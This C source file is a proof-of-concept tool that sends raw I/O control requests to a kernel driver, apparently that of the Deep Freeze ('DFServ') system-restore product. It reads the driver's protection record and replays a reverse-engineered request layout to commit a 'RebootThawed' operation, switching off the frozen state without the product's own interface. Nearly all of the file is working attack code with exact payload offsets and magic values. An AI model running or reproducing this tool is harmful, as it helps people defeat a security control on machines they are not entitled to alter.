static BOOL meta_call(DWORD id,DWORD index,BYTE *out,DWORD out_n,DWORD *returned) {
    BYTE idx[4]; BYTE *wire; DWORD wire_n=0; BOOL ok;
    put32(idx,index);
    wire=wrap(idx,4,id,&wire_n);
    if(!wire) return FALSE;
    ok=raw_call(IO_META,wire,wire_n,out,out_n,returned);
    release(wire); return ok;
}

/* 0x72024 (driver sub_14000ADE8 mode 0): the payload must be
 * [N-byte record][146-byte trailer] with
 *   record+0x02 = 0x1712, record+0xD4 = id,
 *   trailer+0x00 = id, trailer+0x82 = 1, trailer+0x8A = slot, trailer+0x8E = 146,
 * and payloadLen-146 = N. Any shorter payload is rejected by sub_140022E54 with
 * STATUS_INVALID_PARAMETER, which is the reported 0x57.
 *
 * This is DFServ v10 sub_4BCE74's a6 != 1 branch: OutputBuffer=NULL and
 * OutputBufferLength=0, success judged by Information == N. Nothing is copied
 * back to a user output buffer in that form, so this is a pre-flight check on
 * the request format, not the record read (the record comes from 0x72020). */
static BOOL verify_read_call(DWORD id,DWORD n,DWORD slot) {
    DWORD payload_n=n+TAIL_SIZE, wire_n=0, returned=0;
    BYTE *payload=allocate(payload_n), *wire;
    BOOL ok;
    if(!payload) return FALSE;
    put16(payload+0x02,0x1712);
    put32(payload+0xD4,id);
    put32(payload+n+0x00,id);
    put32(payload+n+0x82,1);
    put32(payload+n+0x8A,slot);
    put32(payload+n+0x8E,TAIL_SIZE);
    inner_transform(payload,payload_n);
    wire=wrap(payload,payload_n,id,&wire_n);
    release(payload);
    if(!wire) return FALSE;
    ok=raw_call(IO_READ,wire,wire_n,NULL,0,&returned);
    release(wire);
    if(!ok) return FALSE;
    if(returned!=n) { say("Unexpected 0x72024 completion length.\r\n"); return FALSE; }
    return TRUE;
}

static DWORD thaw_once(void) {
    DWORD id=0,key=0,n=0,returned=0,wire_n=0,payload_n=0;
    BYTE size_bytes[4]={0};
    BYTE *record=NULL,*payload=NULL,*wire=NULL;
    DWORD result=1;

    if(!verify_target()) return 1;
    if(!query_raw(IO_RECORD_ID,&id) || !query_raw(IO_TYPE1,&key)) return 1;
    say("record id from 0x724E4: "); hex32(id);
    say("  type1 from 0x7207C: "); hex32(key); say("\r\n");

    /* v10 length query is 0x72020, NOT 0x72024. */
    if(!meta_call(id,0,size_bytes,4,&returned)) return 1;
    if(returned!=4) { say("Unexpected length-query completion size.\r\n"); return 1; }
    n=get32(size_bytes);
    if(n<MIN_RECORD || n>MAX_RECORD) {
        say("Refusing unexpected record length: "); hex32(n); say("\r\n"); return 1;
    }
    say("record length from 0x72020: "); hex32(n); say("\r\n");

    /* Same handler, OutputBufferLength >= n => the record itself is returned. */
    record=allocate(n);
    if(!record) return 1;
    if(!meta_call(id,0,record,n,&returned) || returned!=n) {
        say("Refusing: record read did not return n bytes.\r\n"); goto done;
    }
    if(get16(record+2)!=0x1712 || get32(record+0xD4)!=id) {
        say("Refusing: inconsistent record header/id.\r\n"); goto done;
    }

    /* Optional pre-flight: the corrected 0x72024 request form. Until v11 the
     * candidate sent a bare 4-byte payload here, which the driver always
     * rejected with 0x57. */
    if(!verify_read_call(id,n,SLOT0)) {
        say("Corrected 0x72024 request was not accepted; aborting before the write.\r\n");
        goto done;
    }
    say("Corrected 0x72024 request accepted.\r\n");

    /* Build the 0x72094 commit exactly as DFServ v10 sub_4BCE74 does:
     * payload = record(N) || 146-byte trailer, inner transform, outer wrap.
     * The driver clones the current record and adopts only +0x04 and +0x72. */
    payload_n=n+TAIL_SIZE;
    payload=allocate(payload_n);
    if(!payload) goto done;
    copy_bytes(payload,record,n);
    put32(payload+0x04,1);            /* one thawed initialization interval */
    put16(payload+0x72,7);            /* DFServ RebootThawed operation        */
    put32(payload+n+0x00,id);
    put32(payload+n+0x82,1);
    put32(payload+n+0x8A,SLOT0);
    put32(payload+n+0x8E,TAIL_SIZE);
    inner_transform(payload,payload_n);
    wire=wrap(payload,payload_n,id,&wire_n);
    if(!wire) goto done;
    say("Submitting ONE 0x72094 request (count=1, operation=7).\r\n");
    if(!raw_call(IO_COMMIT,wire,wire_n,NULL,0,&returned)) {
        say("Write outcome is not confirmed; do not assume nothing changed. No retry was made.\r\n");
        goto done;
    }
    if(returned!=n) {
        say("Unexpected completion length; write may have occurred. No retry was made.\r\n");
        goto done;
    }
    say("Driver reported success. No reboot was requested. Actual thaw state is not verified.\r\n");
    result=0;
done:
    release(wire); release(payload); release(record);
    return result;
}

/* Custom PE entry point keeps the executable independent of UCRT/.NET. */
void entry(void) {
    int argc=0; DWORD result=2;
    WCHAR **argv=CommandLineToArgvW(GetCommandLineW(),&argc);
    if(argv && argc==2 && equal_w(argv[1],L"--thaw-once")) result=thaw_once();
    else say("Version-pinned static-analysis PoC (v11).\r\nUsage: thaw_once_v11_candidate.exe --thaw-once\r\nNo device calls made without that argument. No automatic reboot.\r\n");
    if(argv) LocalFree(argv);
    ExitProcess(result);
}